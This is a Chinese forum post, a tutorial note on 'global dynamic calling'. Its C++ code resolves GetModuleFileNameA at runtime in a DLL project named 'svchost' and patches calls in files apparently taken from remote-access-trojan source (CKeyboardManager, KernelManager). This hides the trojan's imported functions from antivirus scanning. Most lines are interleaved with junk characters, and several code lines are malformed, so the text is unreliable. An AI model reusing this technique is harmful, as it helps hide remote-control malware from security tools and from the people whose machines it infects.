返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
: J/ U2 ?' a- ?: Usvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h- F! J8 V$ N6 D! U
----------------------------------------
! ?0 `( Y! Z% ]/ ]: Y* y/ D1 xDTDY.h:  ~/ U5 J  R" |- B5 c. E

& }8 K! V2 u  h8 @#if _MSC_VER>1000% |6 Y/ J  }  R' M: D1 N) g
#pragma once9 _* E& C# w) H$ k+ U6 C+ O! [
#endif //_MSC_VER>10003 U$ T9 g. q" c# H9 S. R8 M
#include<windows.h>
' l5 T3 d# R) k/ U$ R0 ?; m' o
) Y# A, P0 X6 {0 d; utypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
: H0 A7 f/ a, I8 Z/ Pclass DTDY
4 Y& O0 a  s2 L1 Y5 d* C0 Q{1 X! G* k! U; P4 p
public:
' D, V. m6 v1 W7 |6 W; Q) ?! ODTDY();
2 m9 h4 n# p/ N+ I! H% i( vvirtual ~DTDY();
0 P8 H7 N! B8 T4 O# R/ |) n( a' apublic:1 ?* x/ F; q5 x. Q
static pGetModuleFileNameA MyGetModuleFileName;- y" t8 U* ]9 [6 B+ j" w- |# r
static BOOL FunInitiallization();. j, x+ u/ `: I: ]* W
};
3 n8 |$ c( M9 Z+ K; [" p& f' S#endif
/ A% Z# o3 t; ~: e8 E& k) a----------------------------------------
6 Q5 `8 p) `/ L! y0 g  ?3 ^8 V2 Z3 }7 |+ L
DTDY.cpp:
5 i- R6 b. G$ \5 k7 ]6 D2 {1 H! \- B$ d# H0 w( ?
#include "DTDY.h"2 o* y7 E) D- Q, l( G
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;& b9 f9 a  V6 {8 S
DTDY:TDY()
/ d- U, C3 a0 K{  q! _; Z, w) k# J, v
}
  _# M6 j* `7 p& |DTDY::~DTDY()% ~1 K4 q& ?9 l
{1 _5 v  L! x& L  w7 q2 a8 v
}
) S( L  s0 z; i: M' i' d( K/ eBOOL DTDY::FunInitiallization()
7 u  {& ~) `' v. ]: d{) T) e  w8 E2 U6 u5 \) G
HMODULE hModule=LoadLibrary("kernel32.dll");+ `8 Z- p+ h# J7 Z& V5 z
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
/ q  a, ]0 {, H$ n" P4 [if(!MyGetModuleFileName=) return FALSE;4 Y& J8 M1 ~% ~( N  m

( c3 w. y5 X, c' \return TRUE;$ s2 [3 \$ Y( p+ I' ^2 P8 B
}
7 Q' e" Q7 T& v, X) `  O% l----------------------------------------
2 Y  g! A! n! J7 R  q: C. Q& O5 ysvchost.cpp:
! b: T2 k# b3 N0 K, \: {
- l: @# ?0 N$ M  j0 O#include "DTDY.h"
8 S  n% a% K+ v) g; b* o) D* D& ?% \5 Z3 R) H: x
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
" R7 P- s0 k+ S; a{
7 @6 i( k" z+ yswitch(ul_reason_for_call)
3 D0 f& S/ N& r{
( L, f& l- N! I' K/ |! `case DLL_PROCESS_ATTACH:
1 Y# U% e( s3 Qif(!DTDY::FunInitiallization()) return FALSE;
4 J: C; K$ l, U& W& m
" n9 e* D% e, _6 c& obreak;$ n5 R' l1 u. e
}
$ L0 n3 X5 Q0 l; v9 V! {}
: k* [. [+ c- n1 X% b! ~: H
9 ^5 f1 D% m) P6 Y; j; g  a, \# B: p; E+ A- f/ l" f
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
/ E# d6 i' x( m, `" j8 k6 m改写为
1 U; w7 a; {+ jDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
& S' T! l3 y; T----------------------------------------4 S: w0 d) G, v. H2 i
KernelManager.cpp:
' K1 z4 \: o% u2 Q4 D5 S' v
' ]  A) E& a% x) C  G* D) G( Z#include "../DTDY.h"* L! b3 @6 V. f2 V& Q
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));! B  d+ Z- u3 c
改写为
7 M- H% a6 Y3 S9 B5 R  `DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
8 @) J6 a/ p1 j8 o# C----------------------------------------

返回列表